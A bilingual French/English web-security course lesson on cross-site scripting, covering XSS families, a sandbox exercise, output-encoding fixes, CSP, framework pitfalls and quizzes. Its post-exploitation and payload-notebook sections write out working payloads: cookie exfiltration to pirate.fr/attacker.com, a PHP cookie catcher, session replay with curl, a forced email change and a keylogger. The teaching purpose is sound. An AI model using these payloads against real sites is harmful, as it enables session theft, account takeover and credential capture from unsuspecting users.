Qu'est-ce qu'une attaque XSS ?
Une attaque XSS (Cross-Site Scripting) consiste à injecter du code JavaScript malveillant dans une page web consultée par d'autres utilisateurs. Ce code s'exécute dans le navigateur des victimes avec leurs droits sur le site, à leur insu : il peut voler leurs cookies de session, soumettre des formulaires en leur nom, afficher un faux formulaire de connexion ou capturer chaque touche de clavier.
La cible, à la différence d'une injection SQL, n'est pas votre serveur : c'est le navigateur de vos visiteurs. L'attaquant détourne la confiance que le navigateur accorde à votre domaine. Puisque le script tourne sous votre-site.fr, il a accès aux cookies, au stockage local, aux requêtes authentifiées de la victime.
Le XSS est classé A05 dans l'OWASP Top 10 2025 (catégorie Injection) et figure parmi les failles les plus signalées du web depuis plus de vingt ans. La démonstration à l'échelle la plus célèbre est le ver Samy (2005) : une attaque XSS stored sur MySpace qui s'est propagée à plus d'un million de profils en moins de 24 heures, sans que les victimes n'aient rien à faire d'autre que visiter la page.
Pourquoi « Cross-Site » ? Parce que le script malveillant, écrit par un tiers (l'attaquant), s'exécute dans le contexte de votre site. Le navigateur ne fait pas la différence : le script vient de votre domaine, donc il a les droits de votre domaine.
Le commentaire qui vole les sessions
Sur un blog, n'importe qui peut laisser un commentaire. Un visiteur en poste un, banal en apparence :
Super article ! <script>new Image().src='https://pirate.fr/vol?c='+document.cookie</script>
Le serveur l'enregistre, puis le réaffiche à chaque visiteur de la page. Et là, dans le navigateur de chaque lecteur, ce <script> s'exécute : il récupère document.cookie (dont le cookie de session) et l'envoie au serveur du pirate. Résultat : l'attaquant peut rejouer ces sessions et se faire passer pour les visiteurs, l'admin compris. Le tout sans toucher à votre serveur : la victime, c'est le navigateur des autres.
Ça, c'est le XSS (Cross-Site Scripting) : faire exécuter votre JavaScript dans la page d'un autre. C'est la branche la plus courante de l'injection (A05 de l'OWASP 2025), et longtemps la faille web la plus signalée au monde.
La cause est la même qu'en injection SQL (leçon 3) : on fait confiance à une donnée et on l'affiche telle quelle sans la transformer. Sauf qu'ici la cible n'est plus votre base de données, c'est le navigateur des autres visiteurs.
Pourquoi ça marche, et les 3 familles
La racine est exactement celle de l'injection SQL (leçon 3), transposée au navigateur : vous avez mélangé du code et des données. Vous réaffichez une donnée utilisateur dans votre page HTML sans la transformer, donc le navigateur ne fait pas la différence entre votre HTML et le <script> qu'un attaquant a glissé dedans. Pour lui, une balise glissée dans la page est une balise à interpréter, d'où qu'elle vienne.
On distingue trois familles selon le chemin que prend le payload :
- Reflected (réfléchi) : le payload est dans la requête (un paramètre d'URL, un champ de recherche) et renvoyé immédiatement dans la réponse. L'attaque se déclenche via un lien piégé envoyé à la victime.
- Stored (stocké) : le payload est enregistré (commentaire, profil, message) puis re-servi à tous les visiteurs. Le plus dangereux : il frappe en masse, sans lien à cliquer.
- DOM-based : tout se passe côté navigateur. Du JavaScript de la page lit une entrée (l'URL, un champ) et l'injecte dans le DOM via un sink dangereux comme
innerHTML, sans que le serveur ne voie jamais le payload.
Le faux remède : « je valide l'entrée, je bloque le mot script » ne protège pas. Le XSS a mille formes (<img onerror>, <svg onload>, attributs, URL javascript:, encodages), et une blacklist en oublie toujours. La vraie parade n'est pas de filtrer l'entrée, mais d'encoder la sortie (section 4). Retenez la formule : on valide en entrée pour le métier, on encode en sortie pour la sécurité.
À vous d'attaquer : faites « pop » une alerte
Voici un mini livre d'or, vraiment vulnérable, tournant dans un bac à sable isolé (une iframe verrouillée : votre code s'exécute contre la page-jouet, jamais contre ce site ni vos vrais cookies). Le message que vous publiez est inséré tel quel via innerHTML. Votre mission : faire exécuter du JavaScript, c'est-à-dire déclencher une alert().
Page rendue (votre message inséré via innerHTML) :
Bloqué ? Voir la solution (et un piège)
Le réflexe naturel, <script>alert(1)</script>, ne marche pas ici, et c'est LE piège à connaître : un <script> inséré via innerHTML n'est pas exécuté par le navigateur. Il faut un gestionnaire d'événement qui se déclenche tout seul :
<img src=x onerror=alert(1)>
L'image x échoue à charger → l'événement onerror se déclenche → votre JavaScript s'exécute. Autres classiques : <svg onload=alert(1)>, <body onpageshow=alert(1)>. Dans une vraie attaque, on remplace alert(1) par le vol de document.cookie (section suivante).
Le correctif : encoder la sortie, selon le contexte
La parade n'est pas de nettoyer l'entrée, mais d'encoder la donnée au moment où on l'affiche, pour que le navigateur la voie comme du texte, jamais comme du code. Et l'encodage dépend du contexte où la donnée atterrit.
Contexte le plus courant, le corps HTML : en PHP, on passe tout par htmlspecialchars(), qui transforme les caractères dangereux (<, >, &, ") en entités HTML inoffensives (< devient <) :
// SÛR : la saisie est affichée comme du texte, pas interprétée
echo '<div>' . htmlspecialchars($commentaire, ENT_QUOTES, 'UTF-8') . '</div>';
Côté JavaScript, le même principe : on n'écrit jamais une donnée dans innerHTML ; on utilise textContent (ou .value), qui insère du texte pur, jamais du HTML :
// DANGEREUX : el.innerHTML = commentaire;
// SÛR : le navigateur n'interprète aucune balise
el.textContent = commentaire;
En Go, le package html/template encode automatiquement selon le contexte (corps, attribut, JS, URL) : c'est l'approche la plus sûre, l'échappement n'est pas un oubli possible.
// html/template échappe tout seul, au bon endroit
t := template.Must(template.New("p").Parse("<div>{{.}}</div>"))
t.Execute(w, commentaire) // <script> ressort en texte inoffensif
Le piège du contexte. Il n'existe pas de fonction « safe » universelle. htmlspecialchars protège le corps HTML, mais pas une donnée injectée dans du JavaScript (var x = '...'), dans une URL (href="...") ou dans un attribut non quoté. Chaque contexte a son encodage. Et surtout : n'insérez jamais de donnée utilisateur dans innerHTML, document.write, eval ou href="javascript:" : ce sont les sinks qui transforment une donnée en code.
Défense en profondeur : 1) encodage en sortie contextuel (ou un moteur qui le fait : Go html/template, Twig, React/Vue qui échappent par défaut) ; 2) une Content-Security-Policy stricte (nonce) qui bloque les scripts non autorisés même si une faille passe (leçon 11) ; 3) le cookie de session en HttpOnly pour qu'un XSS ne puisse pas le lire (leçon 8) ; 4) pour le HTML riche inévitable, DOMPurify. Référence : OWASP XSS Prevention Cheat Sheet.
La méthode et l'arsenal du pentester
1. Repérer les points de réflexion. On injecte un marqueur unique et inoffensif (ex. xss7331) dans chaque champ, paramètre d'URL, en-tête. On cherche ensuite ce marqueur dans la réponse : s'il ressort non encodé (tel quel, pas en <), le point est injectable.
2. Identifier le contexte. Là où le marqueur atterrit dicte le payload : corps HTML (<svg onload>), attribut (fermer le guillemet : "><img...), bloc JavaScript (fermer la chaîne/le script), URL (javascript:). Le bon payload, c'est celui qui « casse » le contexte courant, comme le ' cassait la requête SQL.
3. Contourner les filtres. Un filtre naïf se contourne : casse mixte (<ScRiPt>), encodage HTML/URL, balises sans le mot script (<svg>, <img>), gestionnaires d'événements. D'où, encore, l'inutilité des blacklists.
4. L'impact. Une fois le JS exécuté chez la victime, les dégâts vont du vol de session à la prise de compte complète, en passant par le phishing et le keylogging. La section suivante détaille précisément ce butin : comment exfiltrer un cookie de session, comment agir au nom de la victime sans jamais lire ce cookie, et comment transformer un alert() en prise de compte réelle.
5. L'arsenal.
- Burp Suite : intercepter, modifier, et fuzzer les points d'injection (Repeater/Intruder), comme pour le SQLi.
- BeEF (Browser Exploitation Framework) : une fois un XSS obtenu, on « hook » le navigateur de la victime et on le pilote (commandes, faux prompts, pivot réseau). La démonstration qui fait comprendre l'impact.
- XSS Hunter : pour le blind XSS (le payload se déclenche plus tard, ailleurs, ex. dans un back-office admin) ; il rappelle « à la maison » avec une capture quand il s'exécute.
Après l'exploit : le butin et son usage
Faire « pop » une alert(), c'est juste la preuve que le code s'exécute. Mais que fait vraiment un attaquant une fois ce pouvoir en main ? Voici le carnet d'après-exploitation, pour comprendre l'impact réel, et donc savoir quoi défendre.
1. Voler la session, puis la rejouer. D'abord, exfiltrer le cookie vers un serveur que l'attaquant contrôle. Une simple image suffit : charger une image vers n'importe quel domaine est autorisé, l'exfiltration passe donc sous le radar de la same-origin policy :
<img src=x onerror="new Image().src='https://pirate.fr/c?k='+encodeURIComponent(document.cookie)">
En face, le « catcher » de l'attaquant, un script minuscule qui logge tout ce qui arrive :
<?php // catch.php, sur le serveur de l'attaquant
file_put_contents('loot.txt', $_GET['k'] . "\n", FILE_APPEND);
Il n'a plus qu'à attendre : chaque visiteur qui charge la page piégée lui envoie son cookie. Puis il rejoue la session : le cookie est l'identité, le mot de passe devient inutile :
# En se faisant passer pour la victime, depuis sa propre machine
curl -H "Cookie: session=VALEUR_VOLEE" https://site-cible.fr/mon-compte
Ou, dans un navigateur : coller le cookie volé (devtools → Application → Cookies, ou l'onglet « Match & Replace » de Burp), recharger, et le voilà connecté en tant que la victime.
2. Agir au nom de la victime (sans rien voler). Plus vicieux : le JS tourne déjà dans la session de la victime. Pas besoin d'exfiltrer quoi que ce soit, on envoie directement une requête authentifiée depuis son navigateur :
// Changer l'email du compte → puis « mot de passe oublié » → prise du compte
fetch('/compte/email', { method:'POST', credentials:'include',
headers:{ 'Content-Type':'application/json' },
body: JSON.stringify({ email:'pirate@evil.com' }) });
Souvent plus puissant que le vol de cookie, et ça marche même si le cookie est HttpOnly : on n'a jamais eu besoin de le lire.
3. Voler les identifiants (phishing dans le vrai site). Le JS injecte un faux formulaire de connexion par-dessus la page. La victime est bien sur le vrai domaine (bonne URL, cadenas) : elle tape son mot de passe en confiance → envoyé à l'attaquant. C'est le contexte de confiance qui fait tout le travail.
4. Espionner en continu (keylogger). Chaque touche frappée part chez l'attaquant, mots de passe et numéros de carte compris :
document.addEventListener('keydown', function (e) {
navigator.sendBeacon('https://pirate.fr/k', e.key);
});
5. Industrialiser : BeEF. Plutôt que d'écrire ces scripts à la main, BeEF « hook » le navigateur de la victime et garde le contrôle tant que la page reste ouverte : faux prompts, vol du presse-papier, scan du réseau interne, pivot.
Ce que ça révèle côté défense : HttpOnly coupe le scénario 1 (vol du cookie en JS) mais pas le 2 (agir au nom de la victime), ni le 3-4. D'où l'empilement : encodage en sortie (empêcher l'exécution), CSP stricte (bloquer le JS injecté et l'exfiltration vers un domaine tiers), HttpOnly, et re-demander le mot de passe pour les actions sensibles (changement d'email). Une seule couche ne suffit jamais (leçon 2).
Cadre légal, encore : ces scripts illustrent l'après-exploitation pour la comprendre et la défendre. On ne les déploie que sur ses propres systèmes ou une cible explicitement autorisée (leçon 1). Voler une session ou des identifiants réels est un délit.
Le carnet de payloads XSS
Les classiques à coller dans un champ pour tester (sur vos apps ou une cible autorisée). À essayer aussi dans le bac à sable plus haut.
Corps HTML (le <script> ne marche pas via innerHTML, d'où les gestionnaires) :
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
Sortie d'un attribut (on referme le guillemet d'abord) :
"><img src=x onerror=alert(1)>
' autofocus onfocus=alert(1) x='
Contexte URL / lien :
javascript:alert(1)
Vol de cookie (la charge « utile » réelle, à la place de alert) :
<img src=x onerror="fetch('https://pirate.fr/c?'+document.cookie)">
Les listes et outils. PayloadsAllTheThings (XSS) et la XSS cheat sheet de PortSwigger (des centaines de vecteurs filtrables par contexte/navigateur) sont les références. Pour s'entraîner légalement : le XSS Game de Google et la Web Security Academy.
Rappel. Ce carnet sert à tester/auditer, pas à se défendre : bloquer ces chaînes (blacklist) est contournable. La protection reste l'encodage en sortie + CSP + HttpOnly. Et on ne teste que ses propres systèmes ou des plateformes autorisées (leçon 1).
Le blind XSS : la bombe à retardement
Le blind XSS est un cas particulier du stored XSS : le payload se déclenche non pas sur la page publique, mais ailleurs, plus tard, souvent dans un outil interne (back-office admin, outil de support client, visualiseur de logs). L'attaquant ne voit jamais la page où son code s'exécute.
Scénario typique : un formulaire de contact stocke le message en base de données. L'agent du support qui ouvre le ticket dans son back-office déclenche le payload dans son navigateur, avec ses droits admin. C'est souvent bien plus impactant qu'un XSS public, précisément parce que les back-offices sont rarement aussi durcis que le front.
Zones à tester en priorité (sur vos propres systèmes) : formulaires de contact, champ "nom / raison sociale" d'une commande, champ bio ou pseudo d'un compte utilisateur, commentaire d'un ticket de support, champ User-Agent logué. Partout où un humain lit la donnée dans un outil interne.
XSS Hunter est l'outil de référence pour ce scénario : il génère des payloads qui "appellent à la maison" avec une capture complète (URL, cookies disponibles, DOM, screenshot) dès qu'ils s'exécutent, même des heures après l'injection.
Le piège du déploiement. Un blind XSS sur un formulaire de contact peut dormir plusieurs jours, puis se déclencher quand un admin ouvre son tableau de bord. C'est pour ça que les tests de sécurité sur un formulaire de contact ne doivent pas s'arrêter après une vérification immédiate : il faut aussi vérifier le back-office qui consomme ces données.
XSS et les frameworks modernes : protégés par défaut ?
React, Vue et Angular encodent automatiquement les valeurs insérées dans leurs templates. {message} en JSX (React), {{ message }} en Vue et Angular insèrent tous du texte encodé, jamais du HTML brut. C'est la protection la plus importante qu'ils apportent par rapport au DOM vanilla.
Mais les trappes persistent :
dangerouslySetInnerHTML(React) : le nom est volontairement effrayant. À n'utiliser qu'avec du HTML santé par DOMPurify.v-html(Vue) : même risque, même parade.[innerHTML]="..."(Angular) : Angular a un sanitizer intégré, maisbypassSecurityTrustHtml()le désactive complètement.- URLs dynamiques.
href={url}en React ou:href="url"en Vue ne bloquent pas le schémajavascript:. Unhref="javascript:alert(1)"s'exécute siurlvient de l'utilisateur. - Hydration SSR. Les frameworks qui font du rendu serveur puis hydratent côté client ont deux surfaces d'attaque : côté serveur (injection dans le HTML initial) et côté client (re-rendu). Les deux doivent être bouchées.
Règle dans un SPA : les frameworks protègent les insertions normales (utilisez-les, c'est leur rôle). Les insertions HTML brutes (dangerouslySetInnerHTML, v-html) passent par DOMPurify. Les URLs dynamiques méritent une validation du schéma (http/https uniquement). Et une CSP stricte reste indispensable comme filet : si une faille passe malgré tout, la CSP coupe l'exfiltration vers un domaine tiers.
Récapitulatif : les types d'attaque XSS et leurs défenses
| Type | Chemin du payload | Déclencheur côté victime | Défense principale |
|---|---|---|---|
| Reflected | URL → réponse immédiate | Clic sur un lien piégé | Encodage en sortie + CSP |
| Stored | BDD → page re-servie à tous | Simple visite de la page | Encodage en sortie + CSP |
| DOM-based | JS lit l'URL → écrit dans le DOM | Souvent un lien piégé | textContent au lieu d'innerHTML + CSP |
| Blind | Formulaire → back-office admin | Visite du back-office par un admin | Même encodage, tester le back-office aussi |
Le stored XSS est le plus dangereux en pratique (frappe en masse, pas de lien à cliquer). Le blind XSS est le plus impactant en termes de privilèges (cible les admins). La défense reste la même dans tous les cas : encoder en sortie, selon le contexte, plus une CSP stricte en couche de sécurité supplémentaire.
What is an XSS attack?
An XSS attack (Cross-Site Scripting) injects malicious JavaScript into a web page viewed by other users. That code runs in the victim's browser with their rights on the site, without their knowledge: it can steal session cookies, submit forms on their behalf, display a fake login prompt, or log every keystroke they type.
Unlike SQL injection, the target is not your server: it's your visitors' browsers. The attacker hijacks the trust the browser places in your domain. Because the script runs under your-site.com, it has access to cookies, local storage, and the victim's authenticated requests.
XSS is ranked A05 in the OWASP Top 10 2025 (Injection category) and has been among the most reported web flaws for over twenty years. The most famous large-scale demonstration is the Samy worm (2005): a stored XSS on MySpace that spread to over a million profiles in under 24 hours, with victims doing nothing more than visiting the page.
Why "Cross-Site"? Because the malicious script, written by a third party (the attacker), runs in the context of your site. The browser can't tell the difference: the script comes from your domain, so it has your domain's rights.
The comment that steals sessions
On a blog, anyone can leave a comment. A visitor posts one, harmless-looking:
Great article! <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
The server stores it, then redisplays it to every visitor of the page. And there, in each reader's browser, that <script> runs: it grabs document.cookie (including the session cookie) and sends it to the attacker's server. Result: the attacker can replay those sessions and impersonate the visitors, admin included. All without touching your server: the victim is other people's browsers.
That's XSS (Cross-Site Scripting): making your JavaScript run in someone else's page. It's the most common branch of injection (A05 in OWASP 2025), and was long the most reported web flaw in the world.
The root cause is the same as in SQL injection (lesson 3): you trust a piece of data and display it as-is without transforming it. The difference is the target: instead of your database, it's your other visitors' browsers.
Why it works, and the 3 families
The root is exactly the one from SQL injection (lesson 3), moved to the browser: you mixed code and data. You redisplay a user's data in your HTML page without transforming it, so the browser can't tell your HTML from the <script> an attacker slipped in. To it, a tag dropped into the page is a tag to interpret, wherever it came from.
There are three families, by the path the payload takes:
- Reflected: the payload is in the request (a URL parameter, a search field) and echoed back immediately in the response. The attack fires via a booby-trapped link sent to the victim.
- Stored: the payload is saved (comment, profile, message) then re-served to every visitor. The most dangerous: it hits at scale, no link to click.
- DOM-based: it all happens in the browser. The page's own JavaScript reads an input (the URL, a field) and injects it into the DOM through a dangerous sink like
innerHTML, without the server ever seeing the payload.
Beware the false cure: "I validate the input, I block the word script" doesn't protect. XSS has a thousand shapes (<img onerror>, <svg onload>, attributes, javascript: URLs, encodings), and a blacklist always misses one. The real fix isn't filtering the input, it's encoding the output (section 4). Remember the formula: validate input for business rules, encode output for security.
Your turn to attack: make an alert pop
Here's a tiny guestbook, genuinely vulnerable, running in an isolated sandbox (a locked-down iframe: your code runs against the toy page, never against this site or your real cookies). The message you post is inserted as-is via innerHTML. Your mission: get JavaScript to run, i.e. trigger an alert().
Rendered page (your message inserted via innerHTML):
Stuck? Show the solution (and a trap)
The natural reflex, <script>alert(1)</script>, doesn't work here, and that's THE trap to know: a <script> inserted via innerHTML is not executed by the browser. You need an event handler that fires by itself:
<img src=x onerror=alert(1)>
The image x fails to load → the onerror event fires → your JavaScript runs. Other classics: <svg onload=alert(1)>, <body onpageshow=alert(1)>. In a real attack, alert(1) is replaced by stealing document.cookie (next section).
The fix: encode the output, by context
The fix isn't cleaning the input, it's encoding the data when you display it, so the browser sees it as text, never code. And the encoding depends on the context where the data lands.
The most common context, the HTML body: in PHP, pass everything through htmlspecialchars(), which turns the dangerous characters (<, >, &, ") into harmless HTML entities (< becomes <):
// SAFE: the input is displayed as text, not interpreted
echo '<div>' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';
On the JavaScript side, same principle: never write data into innerHTML; use textContent (or .value), which inserts pure text, never HTML:
// DANGEROUS: el.innerHTML = comment;
// SAFE: the browser interprets no tag
el.textContent = comment;
In Go, the html/template package encodes automatically by context (body, attribute, JS, URL): the safest approach, escaping can't be forgotten.
// html/template escapes on its own, in the right place
t := template.Must(template.New("p").Parse("<div>{{.}}</div>"))
t.Execute(w, comment) // <script> comes out as harmless text
The context trap. There is no universal "safe" function. htmlspecialchars protects the HTML body, but not data injected into JavaScript (var x = '...'), a URL (href="...") or an unquoted attribute. Each context has its own encoding. Above all: never put user data into innerHTML, document.write, eval or href="javascript:": these are the sinks that turn data into code.
Defense in depth: 1) contextual output encoding (or an engine that does it: Go html/template, Twig, React/Vue which escape by default); 2) a strict Content-Security-Policy (nonce) that blocks unauthorized scripts even if a flaw slips through (lesson 11); 3) the session cookie set HttpOnly so an XSS can't read it (lesson 8); 4) for unavoidable rich HTML, DOMPurify. Reference: OWASP XSS Prevention Cheat Sheet.
The pentester's method and arsenal
1. Find the reflection points. Inject a unique, harmless marker (e.g. xss7331) into every field, URL parameter, header. Then search the response for it: if it comes back un-encoded (as-is, not as <), the point is injectable.
2. Identify the context. Where the marker lands dictates the payload: HTML body (<svg onload>), attribute (close the quote: "><img...), JavaScript block (close the string/script), URL (javascript:). The right payload is the one that "breaks" the current context, just as ' broke the SQL query.
3. Bypass the filters. A naive filter is bypassable: mixed case (<ScRiPt>), HTML/URL encoding, tags without the word script (<svg>, <img>), event handlers. Hence, again, why blacklists are useless.
4. The impact. Once the JS runs in the victim's browser, the damage ranges from session theft to full account takeover, plus phishing and keylogging. The next section walks through exactly that loot: how to exfiltrate a session cookie, how to act as the victim without ever reading that cookie, and how to turn a proof-of-concept alert() into a real account takeover.
5. The arsenal.
- Burp Suite: intercept, modify and fuzz the injection points (Repeater/Intruder), like for SQLi.
- BeEF (Browser Exploitation Framework): once you have an XSS, you "hook" the victim's browser and drive it (commands, fake prompts, network pivot). The demo that makes the impact click.
- XSS Hunter: for blind XSS (the payload fires later, elsewhere, e.g. in an admin back-office); it calls "home" with a capture when it runs.
After the exploit: the loot and what it's for
Popping an alert() is just proof the code runs. But what does an attacker actually do with that power? Here's the post-exploitation playbook, to understand the real impact, and therefore know what to defend.
1. Steal the session, then replay it. First, exfiltrate the cookie to a server the attacker controls. A plain image is enough: loading an image to any domain is allowed, so the exfiltration slips under the same-origin policy's radar:
<img src=x onerror="new Image().src='https://attacker.com/c?k='+encodeURIComponent(document.cookie)">
On the other end, the attacker's "catcher", a tiny script that logs everything that arrives:
<?php // catch.php, on the attacker's server
file_put_contents('loot.txt', $_GET['k'] . "\n", FILE_APPEND);
Then they just wait: every visitor who loads the booby-trapped page sends their cookie. Next they replay the session: the cookie is the identity, the password becomes useless:
# Impersonating the victim, from their own machine
curl -H "Cookie: session=STOLEN_VALUE" https://target-site.com/my-account
Or, in a browser: paste the stolen cookie (devtools → Application → Cookies, or Burp's "Match & Replace"), reload, and they're logged in as the victim.
2. Act as the victim (stealing nothing). Nastier: the JS already runs inside the victim's session. No need to exfiltrate anything, just fire an authenticated request from their browser:
// Change the account email → then "forgot password" → account takeover
fetch('/account/email', { method:'POST', credentials:'include',
headers:{ 'Content-Type':'application/json' },
body: JSON.stringify({ email:'attacker@evil.com' }) });
Often more powerful than stealing the cookie, and it works even if the cookie is HttpOnly: you never needed to read it.
3. Steal credentials (phishing inside the real site). The JS injects a fake login form over the page. The victim is on the real domain (right URL, padlock), so they type their password in good faith → sent to the attacker. The trust context does all the work.
4. Spy continuously (keylogger). Every keystroke goes to the attacker, passwords and card numbers included:
document.addEventListener('keydown', function (e) {
navigator.sendBeacon('https://attacker.com/k', e.key);
});
5. Industrialize: BeEF. Instead of hand-writing these scripts, BeEF "hooks" the victim's browser and keeps control as long as the page stays open: fake prompts, clipboard theft, internal network scan, pivot.
What this reveals for defense: HttpOnly kills scenario 1 (reading the cookie in JS) but not 2 (acting as the victim), nor 3-4. Hence the stack: output encoding (stop execution), a strict CSP (block injected JS and exfiltration to a third-party domain), HttpOnly, and re-prompting the password for sensitive actions (email change). One layer is never enough (lesson 2).
Legal frame, again: these scripts illustrate post-exploitation to understand and defend it. Only deploy them on your own systems or an explicitly authorized target (lesson 1). Stealing a real session or real credentials is a crime.
The XSS payload notebook
The classics to drop in a field to test (on your apps or an authorized target). Try them in the sandbox above too.
HTML body (<script> doesn't work via innerHTML, hence the handlers):
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
Attribute output (close the quote first):
"><img src=x onerror=alert(1)>
' autofocus onfocus=alert(1) x='
URL / link context:
javascript:alert(1)
Cookie theft (the real payload, instead of alert):
<img src=x onerror="fetch('https://attacker.com/c?'+document.cookie)">
The lists and tools. PayloadsAllTheThings (XSS) and the PortSwigger XSS cheat sheet (hundreds of vectors filterable by context/browser) are the references. To practice legally: Google's XSS Game and the Web Security Academy.
Reminder. This notebook is for testing/auditing, not defending: blocking these strings (blacklist) is bypassable. The protection stays output encoding + CSP + HttpOnly. And only test your own systems or authorized platforms (lesson 1).
Blind XSS: the time-delayed bomb
Blind XSS is a stored XSS variant where the payload fires not on the public-facing page, but somewhere else, later — typically in an internal tool (admin back-office, support dashboard, log viewer). The attacker never sees the page where the code runs.
The classic scenario: a contact form stores the message in the database. The support agent who opens the ticket in their back-office triggers the payload in their browser, with their admin rights. That's often far more impactful than a public XSS, precisely because back-offices are rarely hardened to the same standard as the public frontend.
High-value targets to test (on your own systems): contact forms, the "name / company" field of an order, a user account bio or nickname, a support ticket comment, a logged User-Agent string. Anywhere a human reads the data in an internal tool.
XSS Hunter is the reference tool for this scenario: it generates payloads that "call home" with a full capture (URL, available cookies, DOM, screenshot) the moment they fire, even hours after injection.
The deployment trap. A blind XSS on a contact form can sleep for days, then fire when an admin opens their dashboard. This is why security testing a contact form can't stop after an immediate check — you also have to audit the back-office that consumes the data.
XSS and modern frameworks: protected by default?
React, Vue, and Angular automatically encode values inserted in their templates. {message} in JSX (React), {{ message }} in Vue and Angular all insert encoded text, never raw HTML. That's their most important protection over vanilla DOM manipulation.
But the trapdoors remain:
dangerouslySetInnerHTML(React): the name is intentionally alarming. Only use it with HTML sanitized by DOMPurify.v-html(Vue): same risk, same fix.[innerHTML]="..."(Angular): Angular has a built-in sanitizer, butbypassSecurityTrustHtml()disables it completely.- Dynamic URLs.
href={url}in React or:href="url"in Vue don't block thejavascript:scheme. Ahref="javascript:alert(1)"runs ifurlcomes from the user. - SSR hydration. Frameworks that server-render then hydrate on the client have two attack surfaces: server-side (injection into the initial HTML) and client-side (re-render). Both must be closed.
Rule in a SPA: frameworks protect normal insertions — use them, that's their job. Raw HTML insertions (dangerouslySetInnerHTML, v-html) go through DOMPurify. Dynamic URLs deserve a scheme check (http/https only). And a strict CSP remains essential as a safety net: if a flaw slips through, the CSP cuts exfiltration to a third-party domain.
Summary: XSS attack types and their defenses
| Type | Payload path | Victim trigger | Main defense |
|---|---|---|---|
| Reflected | URL → immediate response | Click on a booby-trapped link | Output encoding + CSP |
| Stored | DB → page re-served to all | Plain visit to the page | Output encoding + CSP |
| DOM-based | JS reads URL → writes to DOM | Often a booby-trapped link | textContent instead of innerHTML + CSP |
| Blind | Form → admin back-office | Admin visits the back-office | Same encoding, audit the back-office too |
Stored XSS is the most dangerous in practice (hits at scale, no click needed). Blind XSS is the most impactful in terms of privilege (targets admins). The defense is the same in every case: output encoding, by context, plus a strict CSP as an extra layer.
Un dev écrit element.innerHTML = pseudo; pour afficher le pseudo d'un utilisateur. Un autre écrit element.textContent = pseudo;. Avant de dérouler : lequel est vulnérable au XSS, et que se passe-t-il si le pseudo vaut <img src=x onerror=alert(1)> dans chaque cas ?
Voir la réponse
innerHTML est vulnérable : le navigateur interprète la chaîne comme du HTML, crée une balise <img>, l'image échoue, onerror s'exécute → XSS. textContent est sûr : il insère la chaîne comme du texte, donc l'utilisateur voit littéralement les caractères <img src=x onerror=alert(1)> à l'écran, sans qu'aucune balise ne soit créée. Règle : pour afficher une donnée, textContent par défaut, jamais innerHTML.
One dev writes element.innerHTML = nickname; to display a user's nickname. Another writes element.textContent = nickname;. Before you expand: which is vulnerable to XSS, and what happens if the nickname is <img src=x onerror=alert(1)> in each case?
Show the answer
innerHTML is vulnerable: the browser interprets the string as HTML, creates an <img> tag, the image fails, onerror runs → XSS. textContent is safe: it inserts the string as text, so the user literally sees the characters <img src=x onerror=alert(1)> on screen, with no tag created. Rule: to display data, textContent by default, never innerHTML.
🎯 Pratique
S'entraîner (clique pour ouvrir) :
💬 Ré-explique sans regarder
Avec tes mots : pourquoi la défense contre le XSS est l'« encodage en sortie » et pas la « validation de l'entrée » ? Et pourquoi parle-t-on de contexte ?
🧠 Rappel libre
Sans remonter : cite les 3 familles de XSS en une phrase chacune, et dis pourquoi un <script> inséré via innerHTML ne s'exécute pas.
<script> via innerHTML ne s'exécute pas car le navigateur ne démarre pas un <script> ajouté via innerHTML (la spec HTML le marque comme non exécutable) : il faut un gestionnaire d'événement (onerror, onload) pour déclencher du code.⚖️ Juge le code de l'IA
Tu demandes à l'IA de protéger l'affichage des commentaires contre le XSS. Elle répond : « Je filtre à l'enregistrement : je retire le mot script et les chevrons de la saisie avec un str_replace, comme ça la base ne contient jamais de balise. » Tu acceptes, ou tu rejettes ?
<ScRiPt>, <img onerror> qui n'a pas le mot « script », encodages), et elle abîme les données légitimes (un commentaire sur « la balise script » devient illisible). 2) Filtrer à l'enregistrement, c'est traiter le problème au mauvais endroit : la faille naît à l'affichage. Le bon réflexe : stocker la donnée brute, et l'encoder en sortie selon le contexte (htmlspecialchars en PHP, textContent en JS), plus une CSP. On ne mutile pas l'entrée, on neutralise à la sortie.<script>alert(1)</script> injecté via innerHTML ne déclenche-t-il rien ?HttpOnly. Un attaquant a un XSS stocké sur le site. Que peut-il (ou non) faire ?Vous savez injecter du code dans la page d'un autre. La leçon 5 reste dans les injections mais change de cible : injecter une commande système ou lire un fichier interdit du serveur, avec là aussi un terrain de jeu pour attaquer.
Leçon 5 : Injection de commandes →